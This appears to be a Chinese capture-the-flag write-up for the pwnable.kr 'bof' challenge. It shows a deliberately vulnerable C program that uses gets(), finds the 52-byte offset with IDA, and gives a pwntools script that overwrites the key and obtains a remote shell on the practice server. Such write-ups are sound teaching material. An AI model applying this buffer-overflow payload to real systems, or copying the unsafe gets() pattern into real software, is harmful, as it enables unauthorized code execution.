简单易懂的 pwnable.kr 第三题[bof]Writeupt

简单易懂的 pwnable.kr 第三题[bof]Writeupt

题目地址:http://pwnable.kr/play.php
在这里插入图片描述
点开题目发现:
在这里插入图片描述
他给了提示覆盖,并且给了两个网址。分别打开,第一个给了你一个下载文件bof。第二个是文件的源文件。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    
    
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
    
    
		system("/bin/sh");
	}
	else{
    
    
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
    
    
	func(0xdeadbeef);
	return 0;
}

给了超级明显的暗示,smash me!。下面我们要做的就是如何去覆盖key的值。这就需要知道参数key和变量overflowme的地址,(当然你也可以一个一个试,不过这不太科学)。
一分钟安装IDA
打开IDA看一下bof文件(不知道是32位还是64位,可以都试一下),

在这里插入图片描述
按F5反编译得到伪代码。
在这里插入图片描述
双击func函数进入函数
在这里插入图片描述
对照源文件我们可以看到,s就是overfolwme, a1就是key。
将鼠标移到a1 看到 ebp+8h
将鼠标移到s 看到 ebp-2ch
由于栈是从高地址向低地址生长的,但是数据写入的时候是从低地址向高地址写入的。8h+2ch = 8 + 44 = 52。所有只需要一个长度为52的字符串我们就可以开始覆盖key的值。

下面开始编写payload

from pwn import * #pwntools 
p = remote("pwnable.kr",9000)  #连接端口
p.sendline("aaaa"*13+p32(0xcafebabe)) #发送并且覆盖key
p.interactive() #交互获取权限

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/112812931
今日推荐